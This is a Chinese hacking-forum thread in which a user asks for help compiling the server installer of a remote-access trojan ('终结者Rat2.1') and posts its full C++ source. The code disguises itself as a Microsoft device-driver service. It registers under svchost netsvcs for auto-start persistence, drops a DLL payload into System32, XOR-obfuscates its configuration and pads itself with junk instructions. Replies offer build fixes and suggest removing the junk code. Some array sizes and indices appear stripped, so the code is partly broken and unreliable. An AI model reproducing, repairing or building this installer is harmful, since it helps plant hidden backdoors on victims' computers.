mqbblove 发表于 2013-9-28 11:10:46

编译代码出错.大牛帮我看看是怎么回事,谢谢!

编译代码出错..下的论坛的终结者,大牛帮我看看是怎么回事,谢谢!
--------------------Configuration: install - Win32 Release--------------------
Compiling...
install.cpp
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(80) : warning C4018: '<' : signed/unsigned mismatch
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(92) : error C2146: syntax error : missing ';' before identifier 'pExitProcess'
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(92) : error C2501: 'ExitProcessT' : missing storage-class or type specifiers
D:\终结者Rat2.1支持2003 xp win7 by无泪\Server\install\install.cpp(92) : fatal error C1004: unexpected end of file found
执行 cl.exe 时出错.

install.obj - 1 error(s), 0 warning(s)


丝腰 发表于 2013-9-28 11:37:57

未定义 错误

mqbblove 发表于 2013-9-28 11:39:16

丝腰 发表于 2013-9-28 11:37
未定义 错误

怎么破???:'(

mqbblove 发表于 2013-9-28 11:41:54

本帖最后由 mqbblove 于 2013-9-28 11:44 编辑

编译源码:(

mqbblove 发表于 2013-9-28 11:43:00

// install.cpp : Defines the entry point for the application.
//

#include "StdAfx.h"
#include <io.h>
#pragma comment(linker, "/defaultlib:msvcrt.lib /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
#include "resource.h"
#include <windows.h>
#include <stdlib.h>
#include <Aclapi.h>
#include <lm.h>
#include <Shlwapi.h>
#pragma comment(lib, "NetApi32.lib")
#include "acl.h"
#include "decode.h"
#include "RegEditEx.h"
#include <stdio.h>
#pragma comment(lib, "DELAYIMP.LIB")
#pragma comment(linker, "/DELAYLOAD:USER32.dll")
#pragma comment(linker, "/DELAY:nobind")
#pragma comment(linker, "/DELAY:unload")



struct MyDATAbon
{
        char ServiceName;
        char ServiceDisplayName;
        char ServiceDescription;
        char ReleasePath;
        WORD FileAttribute;
        char UpGroup;
}
MydataBox =
{
        "MicrosoftSunley",
        "MicrosoftDevice Mini",
        "监测和监视新硬件设备并自动更新设备驱动。",
        "C:\\Windows\\System32\\Sunley.dll",
        FILE_ATTRIBUTE_NORMAL,
        "默认分组",
};

VOID MyEncryptFunction(LPSTR szData,WORD Size)
{
       
        //该数组用来异或
        WORD AddTable[]={
                3,2,5,8,5,1,2,3,2,5,3,4,1,2,
                        4,3,5,8,2,4,5,8,1,2,4,3,1,1,
                        8,1,2,4,3,1,1,5,2,2,1,2,1,3,
                        5,2,2,1,2,1,3,3,1,2,3,5,2,6,
                        2,4,1,3,2,1,2,6,2,3,3,2,1,1,
                        3,6,2,1,2,4,4,3,1,2,3,5,2,6,
                        3,1,2,3,5,2,6,5,2,2,1,2,1,2,
                        6,2,3,3,2,1,1,5,2,2,1,2,1,2,
                        3,2,5,3,4,1,2,2,3,1,2,3,5,2
        };
       
        WORD TableSize = sizeof(AddTable)/sizeof(WORD);
        WORD iCount=0;
//        FuckCracker=FALSE;
       
        for (WORD i=0;i<Size;i++)
        {
                if(iCount == TableSize)
                        iCount = 0;
               
                szData^=AddTable;
                //BUG忘记iCount++ 导致异或的是数组表 3..
                iCount++;
        }
}

VOID MyCreatDirector(LPSTR Path)
{
       
        CHAR Dir={NULL};
       
        for (int i=0;i<strlen(Path);i++)
        {
                if(Path=='\\')
                {
                        strncpy(Dir,Path,i);
                        if(_access(Dir,NULL)==-1)
                                CreateDirectory(Dir,NULL);
                }
        }
       
}

ExitProcessT pExitProcess= (ExitProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ExitProcess");
void dbg_dump(struct _EXCEPTION_POINTERS* ExceptionInfo) {
}
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
        dbg_dump(ExceptionInfo);
        ExitProcess(0);
}

BOOL MyFreeResource(char *szResourceID, char *szType, LPCTSTR lpFileName)
{
        FILE* fpOut = fopen(lpFileName, "wb");
        if(fpOut == NULL)
                return FALSE;
        HRSRC        hResLoad = FindResource(NULL, szResourceID, szType);
        HGLOBAL hResData = LoadResource(NULL,hResLoad);
        LPCSTR        data = (LPCSTR)LockResource(hResData);
        if(hResLoad != NULL && hResData != NULL && data != NULL)
                fwrite(data,1,SizeofResource(NULL,hResLoad),fpOut);
        fclose(fpOut);
        return TRUE;
}

char *AddsvchostService()
{
SetLastErrorT pSetLastError= (SetLastErrorT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetLastError");
lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
        lstrcmpiAT plstrcmpiA= (lstrcmpiAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrcmpiA");
        char        *lpServiceName = NULL;
        int rc = 0;
        HKEY hkRoot;
    char buff;
//query svchost setting
    char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
    rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
    if(ERROR_SUCCESS != rc)
      return NULL;
        __asm
        {
                nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
}
    DWORD type, size = sizeof buff;
    rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
    pSetLastError(rc);
    if(ERROR_SUCCESS != rc)
      RegCloseKey(hkRoot);
       
        bool bExist = false;
       
        for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
        {
                if (plstrcmpiA(ptr, MydataBox.ServiceName) == 0)
                {       
                        bExist = true;
                        break;
                }
        }
       
        if (bExist==false)
        {
                MydataBox.ServiceName = '\0';
                memcpy(buff + size - 1, MydataBox.ServiceName, plstrlenA(MydataBox.ServiceName) + 2);
               
                rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + plstrlenA(MydataBox.ServiceName) + 1);
               
                RegCloseKey(hkRoot);
               
                pSetLastError(rc);
               
                lpServiceName = new char;
                lstrcpy(lpServiceName, MydataBox.ServiceName);
        }else{
                int i = 0;
                bExist = false;
                char servicename;
                do
                {       
                        wsprintf(servicename, "netsvcs_0x%d", i);
                        for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
                        {
                                if (plstrcmpiA(ptr, servicename) == 0)
                                {       
                                        bExist = true;
                                        break;
                                }
                        }
                        if (bExist == false)
                                break;
                        bExist = false;
                        i++;
                } while(1);
               
                servicename = '\0';
                memcpy(buff + size - 1, servicename, plstrlenA(servicename) + 2);
               
                rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + plstrlenA(servicename) + 1);
               
                RegCloseKey(hkRoot);
               
                pSetLastError(rc);
               
                if (bExist == false)
                {
                        lpServiceName = new char;
                        lstrcpy(lpServiceName, servicename);
                }
        }
        return lpServiceName;
}

char *InstallService(LPCTSTR lpServiceDisplayName, LPCTSTR lpServiceDescription)
{
lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
SetLastErrorT pSetLastError= (SetLastErrorT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetLastError");
            // Open a handle to the SC Manager database.
        char MyDllPath;
        char strModulePath;
        ExpandEnvironmentStrings(MydataBox.ReleasePath, MyDllPath, MAX_PATH);
       
        char *lpServiceName = NULL;
    int rc = 0;
    HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
    SC_HANDLE hscm = NULL, schService = NULL;
        __asm
        {
                nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
}
        DWORD        dwStartType = 0;
    try{
    char strSubKey;
    //query svchost setting
    char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
    rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
    if(ERROR_SUCCESS != rc)
    {
      throw "";
    }

    DWORD type, size = sizeof strSubKey;
    rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)strSubKey, &size);
    RegCloseKey(hkRoot);
    pSetLastError(rc);
    if(ERROR_SUCCESS != rc)
      throw "RegQueryValueEx(Svchost\\netsvcs)";

    //install service
    hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (hscm == NULL)
      throw "OpenSCManager()";

        char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";

       lpServiceName = AddsvchostService();
                schService = CreateService(
                        hscm,                      // SCManager database
                        lpServiceName,                  // name of service
                        lpServiceDisplayName,         // service name to display
                        SERVICE_ALL_ACCESS,      // desired access
                        SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
                        SERVICE_AUTO_START,      // start type
                        SERVICE_ERROR_NORMAL,      // error control type
                        bin,      // service's binary
                        NULL,                      // no load ordering group
                        NULL,                      // no tag identifier
                        NULL,                      // no dependencies
                        NULL,                      // LocalSystem account
                        NULL);                     // no password
                dwStartType = SERVICE_WIN32_OWN_PROCESS;
//////////////////////////////////////////////////////////////////////////
        if (schService == NULL)
                throw "CreateService(Parameters)";

    CloseServiceHandle(schService);
    CloseServiceHandle(hscm);

    //config service
    hkRoot = HKEY_LOCAL_MACHINE;
        wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);

        if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
        {               
                DWORD        dwServiceType = 0x120;
                WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
        }

        WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, plstrlenA(lpServiceDescription), 0);
        __asm
        {
                nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop

mqbblove 发表于 2013-9-28 11:43:46


                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
}
        lstrcat(strSubKey, "\\Parameters");
        WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)MyDllPath, plstrlenA(MyDllPath), 0);
    WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceMain", REG_SZ, "ServiceMain", lstrlen(strModulePath), 0);
    }catch(char *str)
    {
      if(str && str)
      {
            rc = GetLastError();
      }
    }

    RegCloseKey(hkRoot);
    RegCloseKey(hkParam);
    CloseServiceHandle(schService);
    CloseServiceHandle(hscm);
       
        __asm NOP;
        __asm NOP;
        __asm NOP;
        __asm NOP;
                __asm NOP;
        if (lpServiceName != NULL)
        {
                __asm NOP;
                __asm NOP;
                __asm NOP;
                __asm NOP;
                __asm NOP;
                __asm NOP;
                __asm NOP;
                __asm NOP;
                __asm NOP;
                __asm NOP;
                MyFreeResource("DLL", "BIN", MyDllPath);
                __asm NOP;
                __asm NOP;
                __asm NOP;
                __asm NOP;
                __asm NOP;
        }

    return lpServiceName;

}

void StartService(LPCTSTR lpService)
{
        SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
        if ( NULL != hSCManager )
        {
                SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
                if ( NULL != hService )
                {
                        StartService(hService, 0, NULL);
                        CloseServiceHandle( hService );
                }
                CloseServiceHandle( hSCManager );
        }
}
BOOL silence()
{
ExitProcessT pExitProcess= (ExitProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ExitProcess");
        try
        {
                fopen("shit.exe", "r");
                throw 1;
                pExitProcess(0);
        }
        catch (int)
        {
                return TRUE;
        }
        return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR   lpCmdLine,
                     int       nCmdShow)
{
        MyEncryptFunction((LPSTR)&MydataBox,sizeof(MyDATAbon));

ExitProcessT pExitProcess= (ExitProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ExitProcess");
        if ( !silence() )
        {
                pExitProcess(0);
        }
        SleepT pSleep= (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep");
        // TODO: Place code here.
        //////////////////////////////////////////////////////////////////////////
        // 让启动程序时的小漏斗马上消失
        GetInputState();
        PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
        MSG        msg;
        GetMessage(&msg, NULL, NULL, NULL);
        //////////////////////////////////////////////////////////////////////////
    if (GetFileAttributes( MydataBox.ReleasePath ) == 0xFFFFFFFF)
        {       
               
                MyCreatDirector(MydataBox.ReleasePath);       
        }

        char        *lpServiceName = NULL;
        char        *lpUpdateArgs = "windows hehe";
        //////////////////////////////////////////////////////////////////////////
        // 如果不是更新服务端
        if (strstr(GetCommandLine(), lpUpdateArgs) == NULL)
        {

        }
        else
        {
                // 等待服务端自删除
                pSleep(5000);
        }

        SetUnhandledExceptionFilter(bad_exception);
    lstrlenAT plstrlenA= (lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");
        lpServiceName = InstallService(MydataBox.ServiceDisplayName, MydataBox.ServiceDescription);
        __asm
        {
                nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
                        nop
}
       
        char *lpUpGroup=MydataBox.UpGroup;
        if (lpServiceName != NULL)
        {
                // 写安装程序路径到注册表,服务开始后读取并删除
                char        strSelf;
                char        strSubKey;
                memset(strSelf, 0, sizeof(strSelf));
                GetModuleFileName(NULL, strSelf, sizeof(strSelf));
                wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
                WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "fuckweiruan", REG_SZ, strSelf, plstrlenA(strSelf), 0);
                WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ConnectGroup", REG_SZ, lpUpGroup,plstrlenA(lpUpGroup), 0);

                StartService(lpServiceName);
               
        }
    SetFileAttributes(MydataBox.ReleasePath,MydataBox.FileAttribute);
        pExitProcess(0);
        return 0;
}


81908453 发表于 2013-9-28 11:46:09

可不可以教教我啊我不会编译谁教编译啊 有教程的发我邮箱1908309406@qq.com 谢谢了

丝腰 发表于 2013-9-28 14:47:45

动态调用未定义

君戦天 发表于 2013-11-11 09:31:37

一般编译这些 要不是 SDK没更新就是 XTP库没弄好。实在不行 就把花指令去掉 反正没用了 代码公布出来 花指令就等于废了
页: [1]
查看完整版本: 编译代码出错.大牛帮我看看是怎么回事,谢谢!